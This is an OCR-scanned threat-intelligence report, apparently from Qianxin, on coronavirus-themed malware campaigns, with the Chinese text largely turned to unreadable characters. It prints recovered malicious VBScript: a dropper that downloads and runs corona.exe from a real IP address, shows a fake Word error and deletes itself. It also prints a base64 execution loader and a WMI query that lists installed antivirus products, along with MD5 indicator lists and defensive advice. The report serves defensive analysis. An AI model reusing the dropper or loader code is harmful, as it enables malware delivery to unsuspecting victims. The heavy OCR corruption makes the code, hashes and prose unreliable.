Al s1ees, 2041, s062s, 31329, 31329, s1682, 20929, 32041, 30976, 30976, 3iese, 30276, 30276, 32400, 30976, 30976,

B ST s et s T 29929, 31323, 31684, 29584, 30276, 30625, 32041, 29929, 30625, 31329, 30276, 31684, 31684, 31684, 31323, 30976,
S © 30976, 30276, 29584, 30276, 31634, 29923, 30625, 30276, 31329, 31329, 31684, 30825, 29584, 30625, 28584, 30276,
RiE©: F 30276, 31634, 31329, 30276, 29929, 32041, 30625, 30625, 29584, 29929, 32041, 29929, 30625, 30976, 31684, 29929,
O coronavirus. doc 1b d 3 to ubound vLiMOv) :

_ _ _ CEEFT( ITIRG = sar 15yvZggUe 1 (naT: “TksLT

GdauOFDH & X: tooxzn
Eg!" & "C:\Users\Shyt\AppData\local\Temp\TynhV.vbIVVdEg!"

next : eval("execute (vnheRugpQ@teHonlGdauOFDH) ")

Shellcodefi#hl 7 54 iBIF POSTIESK Mhxxp[:1//185.62.188.204 F & [ M T exe B A B T DA% =&
ZitEA.,
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on error resume next

set WshShell = CreateObject("WScript.Shell™)

Set FSO = CreateObject("Scripting.FileSystemObject”)

Path = WshShell. ExpandEnvironmentStrings(*%eTEMPS5") &
"“\Faceboolk.url”

set olUrlLink = WshShell.CreateShortcut{Path)
olUrllink.TargetPath = "https:/facebook.com”
olUrllink.Save(S)

if (FSO.FleExists(Path)) Then

WScript.Echo "Error!”

else

Ctim xml,ws,db filepath, URL

xml = "MSXMLZ.ServerXMLHTTP.3.0"

ws = "WScript.Shell"

db = "Adodb.Stream”

Set wshs = createobject{ws)

filepath = wshs.ExpandEnvironmentStrings("%TEMP2%") & "\HhKPW.exe"
URL = "http://185.62.188.204/hunt/post/corona.exe”

end if

Call prog
sub prog
dim msxml: Set msxm| = createobject{xml)
dim stream: Set stream = createobject(db)
msxml.Open "GET", URL, False
msxml.SetRequestHeader "User-Agent”,
"wkTSNOQeMcMuTaPWpQuYbp®
msxml.Send
with stream
type =1
.open
write msxml.responseBody
savetofile filepath, 2
end with
wshs.Exec(filepath)
end sub
wshs.Popup "Error: File is broken”, 0, "Microsoft Word", 0 + 48
FSO.GetFile(WScript.ScriptFullName).delete

AN S
HREATIRANSRS £ U AFERMARLENE , BARSERNT

X4 MD5

covid22_form.vbs 97fe215dd21915ed7530fa0501ad903c
COVID-19.vbs €97e9545291fb0af77630cb52f411caa

CORONAVIRUS_COVID-19.vbs 7a1288c7be386c99fad964dbd068964f
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Plcovid22_form.vbs 5l , ¥EAETTfE , &8 Executei i T—EXbase644m b K shellcode

Fonction 1(a):
With CreateObject ("Msx"+"ml2.D
NodeTypedvalue) :
End With:

End Function
Fonetion r(b) :

With CreateObject ("
ReadText: .Close:
End With:

End function

ument") .CreateElement ("auxz"): .DataType = "bin.bas=64": .Text = a: 1 = r(.

.Type = 1: .Open: .Write b: .Position = 0: .Type = 2: .CharSet = "utf-2": r = .

Execute (1("U2

BRI ZRBE , RAPIT—Bpowershell{{FE , FiF MFERE webfi 5528 T 234 datSCUEF FHR TFE AR 23R
PUEHIZEETE.

n

powezanell -«

Set ceas = Goton
s

Creace strnovorse

a)

5 C\Windows\System32\WindowsPowershell\vL.0\powerzhell ise.oxe S LB B ab37ba6c997520/91af23d5863bdc bt - TR
XAF) WEE WE(VJ WD) W) T RSO BR0Q SEY #mE
CHdO» 90 psE = 8 B0 F-—-BEGIN CERTIFICATE—

| ToBORCdUcuf S5k b 20U CASND 2 03ND 2N Sk DOSNCI 21 b ]SS2
ECRALY ol CRGROSTUL 20 VG028 G257 P 2ROV
KQONCk AT Tb24ZT

e
i STy LD AL ARMR LR ALY ONE R ok TR
LADACI RO S G2y

2090 272 T SpoTVpTDOSUG LuZy 2
b EEETRERa jet ik UBKScSNTANE AR TESSSG9r AT 1 T SegPSAKT1 TTb2tZYiOdVRaeChr TEN
montList 180kT e 20N TE Dok KPP < INYAVET2 RRSAS L

Do DL TOE Ak TS g S G A T8 0Dt

T D43 ]DE MoK GYOC2VE s .
9nJ22CATPSAE020uc 2957y aXR I KCaSTHSkb 20T 2L CAZDDUSTDAD TyHCIdF
rQUCERI ZERNS1NybGMalKpB 1DOgUG LiZygndZxp ckdl &Cgp ywxliDAp Do 1T
DAoL UL ST VMo lOOs00? ST
o ok

JAR

JARSUHH B AE LR T IREFJAVAIZ TG IR E ARG LBEE BT RT PUATHEF. BB TIAVAR BB T4
B | FTRUXZE SR AFE SRS T JAVAIZ TR R K BR M 481E RS L1217 , £33 Windows, Linux,
macOSX, Android,

MTRAAEFEREM , FTRUL XA HRE B S HA A THEARDEITME RS , MARHHE
BAL itk 7 KEUHEREFIRAFERIARKDEAR | FHATALTHAAGIHIT oM.

X4 COVID-19 Update jar
MD5 583c8dc8e20c8337b79c6f6aaacca903

PNTE 3 JRAT

BEARIETIE | BT AESHRERIFSAFAIAED |, 7E%temp% Bk MR MR—/Nbs3UF , AT IMBERMNLS
AT YRS , BIEATRM. BUERG. BRESF EFRESFEHES , ROERF
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| Retrive2880214626877856759.vbs - iDEH
ZHFP REBE R0 FFV EEH

Set oI = GetObject ("winmgmts: {impersonationlevel=impersonate} %Y. \roothSecurltyenter?”)
Set colltems = oWMI. ExecOuery(“Select #* from AntiVirusProduct™)
For Each objltem in colltems
With objltem
WScript.Bcho  “{""&V"":""" & . displayName & ““"1”
End With
Hext

BAFARIEIMILE 2B

LTSRNV AFZESXBERNMLNARTTRIE , FRERWN KBEA AT
TSR PR R BRI |

1. IR LHTE

o DMAIVABRMNEI R EHANT

o (ERRIRAIE. IERRBHRIERGI RN , AEMWindows 7, Office 2007FE R RSHFHIZIRRAER
SRR

o RNBLEMASOS , BINRBEIEHIAESE RO SBMRASEPmE

o TWRARGEREFIERGIWRRATRY

2. AR EHTE

o FNIEIT EINE ML (VPN I IMA AR IRE
o RILERRIIHETAERMAKIWIFPIER NI RIE A
o PRMERTRENARMOELASSHEAEET/EMLE |, ATERE A EMRE LMITABIE RS

3. VIR TR 2 RIS

o MIKEZEIRS 2R DS % . WAF, IPSEREVITH , FEHNIEFEEIH IR
A, HRIRFFHBRAN T BRI THERAMNE (AT AT REMEAR R R MNE RS

o WIFRREREUEEHLIGE

o MAXFRFRRIME R EHL

o BB tBMERERREEREEH THEFAHITRE2TRENM

o B AR DU RSB BA AT E R BT R SRR R RE )

o BRI AT REBIMER. METREXHDIERITTREIER SR TS

o ARV FRGUE R MERE  SMELARGIRS |, RS RER X RGN

o BTHEAFRMIEPLRELELIMN , BOAKEHEAR , ENREMIERATRERIBRH M
i7a

4. RTRLEFIET

o ZIHFTHSMBHZREN FRRREE,. XMt

o XTEMERIREER. XHRIFSEEYN , R QmPaEmRFRGERS0E TR , SEERTRA
BB B bR _E AT = WV TR ST A T BUAG I

o PANLBRMENER , PRATVEAFLESS

o RIHERARIIZETERMARKIWIFIEE NTFR I WL
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o RERHIEMINEE M
MERSKRENE 524/ N N &N T4 fR % : 400-8136-3606

Sk

BIBERER , ST REKESHLEE RS |, SrR(FLAMARAREE KA, , YIZTF RN =
HISE AR BRIEER | R REPITRESRIRBMER 1 | TBTEKRIREIRA M | RRRIEEM R
1EKIFAPP, HEIRMEMHERXM , EHTEAT.

EHIE1T , RIERIMANBBRINA |, Al BT A REEBIMEIRX T RENTFE
(https://sandbox.ti.gianxin.com/sandbox/page) BE{THEIEAFF]., BHAEIEXFFEIEWindows, TEFEENK
LI SHERENHT.

X RESRFE

URL

BaT , 2T HREEMERT OCRBEIMETRBIEN 2450 , BETREEMERFAE (TIP) | X%,
KIRSRBMEMALE, FRIENGSOCTE |, HCESHFIANIRNEE R B AR

I0Cs

MTIOCHERZE , (NEXFELERATTHINIOCHIE.
MD5:

b08dc707dcbc1604cfd73b97dc91ad4c
3519b57181da2548b566d3c49f2bae18
78359730705d155d5¢6928586d53a68e
21b837f22afaBd9ca85368c69025a9f4
d739f10933c11bd6bd9677f91893986¢

53b31f65bb6ced61cSbafa8e4c98e9e8
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e074c234858d890502c7bb6905f0716e

€262407a5502fa5607ad3b709a73a2e0

a9dac36efd7c99dc5ef8e1bf24c2d747

a4388c4d0588cd3d8a607594347663e0

501b86caaa8399d508a30cdb07c78453

8d172a2eb3d94322b34a2586365eb442

baef0f7897694a3d2783cef0b19239be

74572fba26f5e988b297ec5ea5c8aclc

a30391c51e0f2e57aa38bbe079c64e26

2c268c58756eb83c4ecfd908d1b482ea

3a0a6dbc2ba326854621f3baf87f611c

fe852bb041f4daba68a80206966e12c0

87ad582f478099a6d98bf4b2527d0175

4d30ea0082881d85ff865140b284ec3f

£264626b18a074010f64cf3e467c4060

bc102766521118a99fc99c09beb8b5fe

18d156e18a9c23bclea9dbe5calbdb9d

d8f6c66£84546ef19d8373f3bc9f1185

038d513fe3d04057b93a81e45826d141

72ecf3804af2d9016fa765a708e25b7c

5¢5cffca81810952b66d8d7bb3bd2065

324445e12e6efabd9c9299342bd72e29

5585ea31ee7903aade5c85b9f76364e8

53b31f65bb6ced61cSbafa8e4c98e9e8

b48c3f716ebdb56ec2647b1e83049aa3

097¢83d36393cc714e9867bd87871938
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2036755c86ce5ce006ca76a7025d5d09
2ea346432bfb1cbc120d43c4de906cda
4d412d13b20be55f6834eae8abad16a7
583c8dc8e20c8337b79c6f6aaaccad03
29e8800ebaa43e3c9a8b9c8a2fcf0689
dce43ca5113bb214359d0d2d08630f38
€75c159d4{96a6a9307c7a32e98900e3
258eda%999b9ac33c52b53f4d8c77dcb0
d6557715b015a2ff634e4ffd5d53ffba
baef0f7897694a3d2783cef0b19239be

2¢522£3527def8ac97958cd2c89a7c29

SEHEER

[11FEIE APTARAR B BAEDA E T b 2 51 3 A E R A OX B /&SN AT
https://ti.qianxin.com/blog/articles/analysis-of-apt-attack-activities-in-neighboring-countries-and-regions/
[2175 U537 : KONNI APTZBZR A Fh[E Androidif K B F B dri & shif AT

https://ti.qianxin.com/blog/articles/analysis-of-konni-apt-organization-attack-activities-disguised-as-korean-

android-chat-application/

[3]Twitter
https://twitter.com/RedDrip7/status/1237983760802394112
[4]Twitter
https://twitter.com/RedDrip7/status/1237619274581041157
[5]Twitter
https://twitter.com/RedDrip7/status/1230683740508000256
[6] “ Konni”#“ Kimsuky” R APT)EBH KEX

https://blog.alyac.co.kr/2347
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Source: https://ti.gianxin.com/blog/articles/coronavirus-analysis-of-global-outbreak-related-cyber-attacks/
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